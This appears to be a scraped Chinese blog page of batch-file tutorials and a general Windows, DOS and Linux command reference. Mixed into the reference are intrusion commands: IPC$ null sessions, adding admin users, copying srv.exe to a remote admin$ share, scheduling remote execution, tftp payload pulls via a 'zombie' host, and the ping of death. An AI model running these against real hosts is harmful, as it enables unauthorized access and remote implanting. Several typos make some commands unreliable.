          :: 发出鸣叫(“”实际就是ASCII码值为7的特殊字符(蜂鸣键beep)
          echo 
          :: 让程序暂停一小阵子
          ping -n 1 -l 1 127.1>nul
          goto :begin
    
        8.将 FAT 卷转换成 NTFS
           利用“CONVERT.exe”进行,解析如下:
            CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]
              volume      指定驱动器号(后面跟一个冒号)、装载点或卷名。
              /FS:NTFS    指定要被转换成 NTFS 的卷。
              /V          指定 Convert 应该用详述模式运行。
              /CvtArea:filename
                          将根目录中的一个接续文件指定为NTFS 系统文件的占位符。
              /NoSecurity 指定每个人都可以访问转换的文件和目录的安全设置。
              /X          如果必要,先强行卸载卷。该卷的所有打开的句柄则无效。
    
            程序如下:
            @ ECHO OFF
            @ ECHO.
            @ ECHO.                               说   明
            @ ECHO --------------------------------------------------------------------------
            @ ECHO NTFS是一种磁盘格式。该格式能存放大于4G的单个文件(如高清电影文件),并可对
            @ ECHO 文件夹进行加密,但有个缺点是DOS下无法访问。建议D盘及其后的盘使用NTFS格式,
            @ ECHO C盘如非必要可以不转换,FAT32与NTFS这两种格式的读写速度几乎是没有差别的。
            @ ECHO --------------------------------------------------------------------------
            @ ECHO.
            convert c: /fs:ntfs
            :: D盘也转成 NTFS
            convert d: /fs:ntfs
    
        9. 获取我的文档
            SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
            FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"
            :: 复制文件到我的文档
            XCOPY /D /E /R /Y /C  "%cd%\test.txt" "%myDoc%\test\"
    
    
    
    
    
    
    
    
    ==========================================
    实例:
            3.IF-ERRORLEVEL
          @ECHO OFF
          XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
          IF ERRORLEVEL 0 ECHO 成功拷贝文件
    
          如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
          IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
          @ECHO OFF
          XCOPY C:\AUTOEXEC.BAT D:\
          CHO 成功拷贝文件
          IF ERRORLEVEL 1 ECHO 未找到拷贝文件
          IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
          IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
          IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
          无论拷贝是否成功,后面的:
          未找到拷贝文件
          用户通过ctrl-c中止拷贝操作
          预置错误阻止文件拷贝操作
          拷贝过程中写盘错误
          都将显示出来。
    
          以下就是几个常用命令的返回值及其代表的意义:
          backup
          0 备份成功
          1 未找到备份文件
          2 文件共享冲突阻止备份完成
          3 用户用ctrl-c中止备份
          4 由于致命的错误使备份操作中止
          diskcomp
          0 盘比较相同
          1 盘比较不同
          2 用户通过ctrl-c中止比较操作
          3 由于致命的错误使比较操作中止
          4 预置错误中止比较
          diskcopy
          0 盘拷贝操作成功
          1 非致命盘读/写错
          2 用户通过ctrl-c结束拷贝操作
          3 因致命的处理错误使盘拷贝中止
          4 预置错误阻止拷贝操作
          format
          0 格式化成功
          3 用户通过ctrl-c中止格式化处理
          4 因致命的处理错误使格式化中止
          5 在提示“proceed with format(y/n)?”下用户键入n结束
          xcopy
          0 成功拷贝文件
          1 未找到拷贝文件
          2 用户通过ctrl-c中止拷贝操作
          4 预置错误阻止文件拷贝操作
          5 拷贝过程中写盘错误
    
    
    =============================================================
    @echo off    //不显示shell的命令。
    Setlocal         //环境改变只适用于这个文件。
    %OS%       //为当前的操作系统。
    Rem              //注释一行文本。
    Goto 标签   //改变执行顺序,去标签位置.
    :标签           //定义一个标签。
    Set 变量名=值   //定义变量
    Not         //取反
    Netstat –na   //显示当前被点用的端口.
    %0  %1  %2  //用于表示批处理文件的参数0为命令,共1-9个参数。
    Shift                     //用于向前一个参数,原1变0,原2变1.每调用一次shift向前一移动一位。
    Call               //调用其他批处理文件或命令。
    Start 命令 参数   //指示出在另一个窗口中开始运行命令。
    
    
    
    
    =============================================================
    :: 这段批处理程序可以自动设置Java环境变量
    
    @echo off
    IF EXIST %1\bin\java.exe (
    rem 如输入正确的 Java2SDK 安装目录,开始设置环境变量
    @setx JAVA_HOME %1
    @setx path %path%;%JAVA_HOME%\bin
    @setx classpath %classpath%;.
    @setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar
    @setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar
    @setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar
    @echo on
    @echo Java 2 SDK 环境参数设置完毕,正常退出。
    ) ELSE (
    IF "%1"=="" (
    rem 如没有提供安装目录,提示之后退出
    @echo on
    @echo 没有提供 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。
    ) ELSE (
    rem 如果提供非空的安装目录但没有bin\java.exe,则指定的目录为错误的目录
    @echo on
    @echo 非法的 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。
    )
    )
    
    
    
    
    dos命令参考~~~
    net use \\ip\ipc$ " " /user:" "  建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名"  建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名"  直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$  登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del  删除IPC链接
    net use h: /del  删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add  建立用户
    net user guest /active:yes  激活guest用户
    net user  查看有哪些用户
    net user 帐户名  查看帐户的属性
    net localgroup administrators 用户名 /add  把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start  查看开启了哪些服务
    net start 服务名   开启服务;(如:net start telnet, net start schedule)
    net stop 服务名  停止某服务
    net time \\目标ip  查看对方时间
    net time \\目标ip /set  设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view  查看本地局域网内开启了哪些共享
    net view \\ip  查看对方局域网内开启了哪些共享
    net config  显示系统网络设置
    net logoff  断开连接的共享
    net pause 服务名  暂停某服务
    net send ip "文本信息"  向对方发信息
    net ver  局域网内正在使用的网络连接类型和信息
    net share  查看本地开启的共享
    net share ipc$  开启ipc$共享
    net share ipc$ /del  删除ipc$共享
    net share c$ /del  删除C:共享
    net user guest 12345  用guest用户登陆后用将密码改为12345
    net password 密码  更改系统登陆密码
    netstat -a  查看开启了哪些端口,常用netstat -an
    netstat -n  查看端口的网络连接情况,常用netstat -an
    netstat -v  查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip  查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s  查看正在使用的所有协议使用情况
    nbtstat -A ip  对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名)  跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名)  向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip  死亡之ping(发送大于K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg)  用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t  以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名  加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名  加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
    del /S /Q 目录 或用:rmdir /s /Q 目录  /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名  移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt  对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号  开启已注册的某个计划任务
    at /delete  停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete  停止某个已注册的计划任务
    at  查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r  在某时间运行对方某程序并重新启动计算机
    finger username @host  查看最近有哪些用户登陆
    telnet ip 端口  远和登陆服务器,默认端口为23
    open ip  连接到IP(属telnet登陆后的命令)
    telnet  在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y  复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$  复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg  将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*  复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名  复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe  登陆后,上传本地c:\server.exe至主机
    ftp ip 端口  用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print  显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp  查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min  新开一个新窗口并最大化(最小化)运行某程序或命令
    mem  查看cpu使用情况
    attrib 文件名(目录名)  查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H  去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir  查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符  设置环境变量
    set  显示当前所有的环境变量
    set p(或其它字符)  显示出当前以字符p(或其它字符)开头的所有环境变量
    pause  暂停批处理程序,并显示出:请按任意键继续....
    if  在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签  将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名  从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for  对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off  打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息  在屏幕上显示出信息
    echo 信息 >> pass.txt  将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt  在aa.txt文件中寻找字符串hello
    find 文件名  查找某文件
    title 标题名字  更改CMD窗口标题名字
    color 颜色值  设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称  更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
    print 文件名  打印文本文件
    2ver  在DOS窗口下显示版本信息
    winver  弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型  格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名  创建目录
    replace 源文件 要替换文件的目录  替换文件
    ren 原文件名 新文件名  重命名文件名
    tree  以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名  显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit  退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名  导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名  查看文件的访问用户权限列表
    REM 文本内容  在批处理文件中添加注解
    netsh  查看或更改本地网络配置情况
    
    IIS服务命令:
    iisreset /reboot  重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop  启动(停止)所有Internet服务
    iisreset /restart  停止然后重新启动所有Internet服务
    iisreset /status  显示所有Internet服务状态
    iisreset /enable或disable  在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror  当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce  若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout  Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 /?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files]  从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file]  列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
    
    
    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases;  显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    
    use mysql;
    show tables;  显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名;  建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名;  将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb  备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数  关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist  显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
    
    Linux系统下基本命令: 要区分大小写
    uname  显示版本信息(同win2K的 ver)
    dir  显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd  查询当前所在的目录位置
    cd  cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名  查看文件内容
    cat >abc.txt  往abc.txt文件中写上内容。
    more 文件名  以一页一页的方式显示一个文本文件。
    cp  复制文件
    mv  移动文件
    rm 文件名  删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名  建立目录
    rmdir  删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date  现在的日期、时间
    who  查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami  查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su  权限转换为指定使用者
    telnet IP  telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)
    
    
    Windows 排程範例
    若要在 Windows 系統上啟動自動化的備份工作,排程服務必須執行中。您可以利用下列指令來啟動這個服務:
       net start schedule
    
    如果排程服務正在執行中,則工作可以利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容可以在Windows 的備份排程元素找到)。如果您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令:
       at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd

     

    展开全文
  • 隐藏文件夹方法

    千次阅读 2007-04-15 09:26:00
    隐藏文件夹方法第一种:瞒天过海 我们可以把Windows中的desktop.ini和folder.htt复制到你的文件夹中,覆盖掉你的文件夹中的这两文件,然后按F5键“刷新”一下。 当我们打开Windows文件夹时,在被打开窗口左边...
  • 微信聊天记录做成词云~

    千次阅读 2020-06-01 19:43:08
    最近快毕业了,所以想把微信聊天记录全部导出、做成词云、然后寄给好友,想想都很浪漫,哈哈。先上词云结果图(结果图拿《三国演义》的,想啥呢,我才不会把我的聊天记录发到网上,哈哈),然后教大家如何做。 ...
  • /root 如果你是以超级用户的身份登录的,这就是超级用户的主目录。 /home 如果建立一名为“xx”的用户,那么在/home目录下就有一对应的“/home/xx”路径,用来存放该用户的主目录。 /usr 用户的应用程序和文件...
  • 本文非原创,转载自: ... solr默认就集成了jetty,启动部署很方便,但是在window环境下,...为了防止被手动误关,所以需要把solr做成window服务。 网上找了下资料,工具挺,但是操作最简单,最友好的是NSSM这...
  • linux各文件夹含义和作用

    千次阅读 2017-07-29 14:15:31
    1.linux下各文件夹的意义:  /bin:是binary的缩写,包含了引导系统启动所需的命令和普通用户可以使用的常用命令  /lib:是根文件系统目录下程序和核心模块的共享库,存放了根文件系统程序  运行所需的共享文件...
  • 文件夹加密原理 [转]

    万次阅读 2009-05-27 21:40:00
    文件夹的加密一、文件夹加密的方式有几种? 在Windows平台下,文件夹加密的方式归纳起来有两种: 一种是简单地对文件夹进行各种方式的隐藏,甚至利用Windows的漏洞进行隐藏,这种软件根本就没有对数据进行任何...
  • 既然都跑了这神经网络的代码,那么干脆就把这神经网络真正的使用起来,为此我继续写代码,把这神经网络弄可视化界面(花卉识别系统) 一.开源神经网络(AlexNet) 1.获取数据集 使用步骤如下: * (1...
  • 用LinearLayout实现的ListView,可解决多个ListView并且等问题。目前自己也有需要,等亲自尝试过后会再具体介绍 项目地址: https://github.com/frankiesardo/LinearListView MultiChoiceAdapter 支持多选...
  • find 查找文件或文件夹命令find

    千次阅读 2018-06-26 15:37:48
    find / -empty # 查找在系统中为空的文件或者文件夹 find / -group cat # 查找在系统中属于 groupcat的文件 find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件 find / -mtime -1 #查找在系统中最后24小时里...
  • 目录,包括了在引导过程中所必需的文件,引导程序的相关文件(例如grub,lilo以及相应的配置文件以及Linux操作系统内核相关文件(例如vmlinuz等一般都存放在这里。在最开始的启动阶段,通过引导程序将内核加载到...
  • Mac OS下文件夹(带linux部分)

    千次阅读 2013-12-19 16:16:54
    详解MAC硬盘中各个文件夹(增加linux部分参考 ★详解MAC硬盘中各个文件夹 显示隐藏文件的方法 用“终端”,好处是不需要任何第三方工具,坏处是如果命令输错了,会有副作用。命令如下(注意其中的空格): 显示...
  • linux下各文件夹的用途和功能

    千次阅读 2015-05-26 21:00:40
    第一部分:各目录的用途   /bin (binary)   这目录包含着所有的标准命令和应用程序....   .../dev (device)  ...系统上的每设备都应该在这里有一对应的设备文件.  /home   存放用户主目录的地方,
  • 电信光猫获取超级管理员密码

    万次阅读 多人点赞 2020-03-20 10:40:26
    但是一般都是直接登录192.168.1.1之后再进入一个链接下载一文件,打开文件里面就可以查询到,或者会有串数字自己换算一下就出来了,甚至很旧型号直接超级管理员账号和密码都是通用的 但是这些方法,不适用于我的...
  • 超级详细的小白教程】Hexo 搭建自己的博客

    千次阅读 多人点赞 2020-04-28 22:45:18
    – 前言 首先感谢您能访问我的博客:TRHX’S BLOG 这是一篇有关如何使用 Github Pages 和 ...刚开始搭建博客的时候自己也是网上各种百度,由于自己属于小白那种,历经了千辛万苦才弄好,所以借这机会写一篇小...
  • ESP8266 DOWNLOAD TOOL 工具是由乐鑫官方开发的固件下载工具,用户可根据实际的编译方式和 Flash 的容量,将多个 BIN 文件一键下载到 ESP8266 母板(开发板或者模 组)的 SPI Flash 中。 串口调试工具 串口...
  • Windows XP 超级140技巧

    千次阅读 2006-03-29 17:16:00
    Windows XP 超级140技巧重装Windows XP不需再激活 如果你需要重装Windows XP,通常必须重新激活。事实上只要在第一次激活时,备份好Windows/System32目录中的Wpa.dbl文件,就不用再进行激活的工作了。在重装...
  • 看到它的上一级目录是“media”,之前脑子里就出现过windows下的盘和linux下的系统文件的关系,现在好像有了点眉目,于是在网上搜了下“linux 各系统文件夹的含义”,看到下面的一些文章: Linux根目录”/...
  • Linux 多个留后门姿势

    万次阅读 2018-08-17 10:42:52
    在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透...但还是没有找到满意的后门,在渗透圈一人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可...
  • Windows硬链接链接 符号链接 快捷方式 2 years ago scz 阅读: ...Windows支持4种”链接”机制,分别是shortcut、hard link、junction ...先吐槽,天朝很与本问题相关的技术文章,在术语层面相当混乱,作
  • 分享一个超级狠的面试题与经验

    千次阅读 2018-04-15 19:36:11
    Java Development ToolKit】就是java开发工具箱, JDK是整个JAVA的核心里边包含了jre,它除了包含jre之外还包含了一些javac的工具类,把java源文件编译class文件,java文件是用来运行这程序的,除此之外,里边还...
  • 考虑到上架App的安全性和后期代码管理的一些内容,以及现有马甲和超级App的一些业务上,越来越的涉及到大模块的内容搬移和共享,所以权衡各种方式之后,考虑使用静态库的方式来把独立业务部分用静态库的方式加载和...
  • C++动态链接/静态链接库编程

    千次阅读 2013-10-30 21:58:58
    VC++ 动态链接库 (DLL) 编程(一) ――理解库 作者: 宋宝华 e-mail: 21cnbao @ 21cn.com 1. 概论 先来阐述一下 DLL(Dynamic Linkable Library) 的概念,你可以简单的把 DLL 看成一种仓库,
  • 程序员必知的 89 操作系统核心概念

    万次阅读 多人点赞 2020-03-31 19:13:39
    操作系统(Operating System,OS):是管理计算机硬件...操作系统也提供一让用户与系统交互的操作界面。 shell:它是一程序,可从键盘获取命令并将其提供给操作系统以执行。 在过去,它是类似 Unix 的系统上...
  • 原文链接: http://blog.csdn.net/jincf2011/article/details/6362935 RC  在Linux中,最为常用的缩略语也许是“rc”,它是“runcomm”的缩写――即名词“run command”(运行命令)的简写。今天,“rc”是...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,199
精华内容 5,279
关键字:

多个文件夹做成超级链接